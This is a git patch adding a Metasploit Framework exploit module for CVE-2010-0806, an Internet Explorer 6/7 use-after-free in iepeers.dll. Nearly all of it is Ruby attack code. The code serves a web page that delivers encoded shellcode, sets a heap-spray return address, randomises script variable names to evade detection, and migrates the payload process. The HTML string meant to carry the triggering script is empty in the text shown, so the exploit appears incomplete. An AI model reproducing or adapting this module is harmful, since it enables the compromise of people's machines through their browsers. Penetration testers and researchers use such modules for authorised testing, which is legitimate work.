From 3c57fe6e81f1d17bd0447811c8760ec29222c01b Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Wed, 10 Mar 2010 22:01:32 +0000 Subject: [PATCH] add exploit module for cve-2010-0806 git-svn-id: file:///home/svn/framework3/trunk@8770 4d416f70-5f16-0410-b530-b9f4589650da --- .../windows/browser/ie_iepeers_pointer.rb | 148 ++++++++++++++++++ 1 file changed, 148 insertions(+) create mode 100644 modules/exploits/windows/browser/ie_iepeers_pointer.rb diff --git a/modules/exploits/windows/browser/ie_iepeers_pointer.rb b/modules/exploits/windows/browser/ie_iepeers_pointer.rb new file mode 100644 index 0000000000..227a4ec4f1 --- /dev/null +++ b/modules/exploits/windows/browser/ie_iepeers_pointer.rb @@ -0,0 +1,148 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# ie_iepeers_pointer.rb +# +# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework +# +# Tested successfully on the following platforms: +# - Microsoft Internet Explorer 7, Windows Vista SP2 +# - Microsoft Internet Explorer 7, Windows XP SP3 +# - Microsoft Internet Explorer 6, Windows XP SP3 +# +# Exploit found in-the-wild. For additional details: +# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/ +# +# Trancer +# http://www.rec-sec.com +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Internet Explorer iepeers.dll Use After Free', + 'Description' => %q{ + This module exploits a use-after-free vulnerability within iepeers.dll of + Microsoft Internet Explorer versions 6 and 7. + + NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'unknown', # original discovery + 'Trancer ', # metasploit module + 'jduck' # minor cleanups + ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2010-0806' ], + [ 'BID', '38615' ], + [ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ], + [ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'InitialAutoRunScript' => 'migrate -f', + }, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] + ], + 'DisclosureDate' => 'Mar 09 2010', + 'DefaultTarget' => 0)) + end + + def on_request_uri(cli, request) + + # Re-generate the payload + return if ((p = regenerate_payload(cli)) == nil) + + # Encode the shellcode + shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) + + # Set the return\nops + ret = Rex::Text.to_unescape([target.ret].pack('V')) + + # Randomize the javascript variable names + j_shellcode = rand_text_alpha(rand(100) + 1) + j_nops = rand_text_alpha(rand(100) + 1) + j_slackspace = rand_text_alpha(rand(100) + 1) + j_fillblock = rand_text_alpha(rand(100) + 1) + j_memory = rand_text_alpha(rand(100) + 1) + j_counter = rand_text_alpha(rand(30) + 2) + j_ret = rand_text_alpha(rand(100) + 1) + j_array = rand_text_alpha(rand(100) + 1) + j_function1 = rand_text_alpha(rand(100) + 1) + j_function2 = rand_text_alpha(rand(100) + 1) + j_object = rand_text_alpha(rand(100) + 1) + j_id = rand_text_alpha(rand(100) + 1) + + # Build out the message + html = %Q| + + +| + + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") + + # Transmit the compressed response to the client + send_response(cli, html, { 'Content-Type' => 'text/html' }) + + # Handle the payload + handler(cli) + + end + +end